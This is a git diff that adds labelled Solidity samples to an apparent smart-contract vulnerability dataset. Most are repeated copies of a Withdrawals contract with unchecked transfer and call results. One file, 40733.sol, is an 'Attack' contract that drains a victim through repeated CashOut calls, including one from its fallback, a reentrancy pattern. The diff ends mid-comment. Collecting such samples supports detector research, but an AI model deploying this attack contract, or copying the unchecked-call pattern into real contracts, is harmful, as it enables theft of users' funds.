responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40634.sol b/smart_contract_dataset/unchecked external call/40634.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40634.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40640.sol b/smart_contract_dataset/unchecked external call/40640.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40640.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40654.sol b/smart_contract_dataset/unchecked external call/40654.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40654.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40655.sol b/smart_contract_dataset/unchecked external call/40655.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40655.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40733.sol b/smart_contract_dataset/unchecked external call/40733.sol new file mode 100644 index 0000000000000000000000000000000000000000..59b5f31a64c973444ba5c2e8e2c4deeb72c65ec2 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40733.sol @@ -0,0 +1,32 @@ +contract Attack { + address owner; + address victim; + + function Attack() payable { owner = msg.sender; } + + function setVictim(address target) { victim = target; } + + function step1(uint256 amount) payable { + if (this.balance >= amount) { + victim.call.value(amount)(bytes4(keccak256("Deposit()"))); + } + } + + function step2(uint256 amount) { + victim.call(bytes4(keccak256("CashOut(uint256)")), amount); + } + + + function stopAttack() { + selfdestruct(owner); + } + + function startAttack(uint256 amount) { + step1(amount); + step2(amount / 2); + } + + function () payable { + victim.call(bytes4(keccak256("CashOut(uint256)")), msg.value); + } +} diff --git a/smart_contract_dataset/unchecked external call/43091.sol b/smart_contract_dataset/unchecked external call/43091.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/43091.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/43100.sol b/smart_contract_dataset/unchecked external call/43100.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/43100.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/43101.sol b/smart_contract_dataset/unchecked external call/43101.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/43101.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. 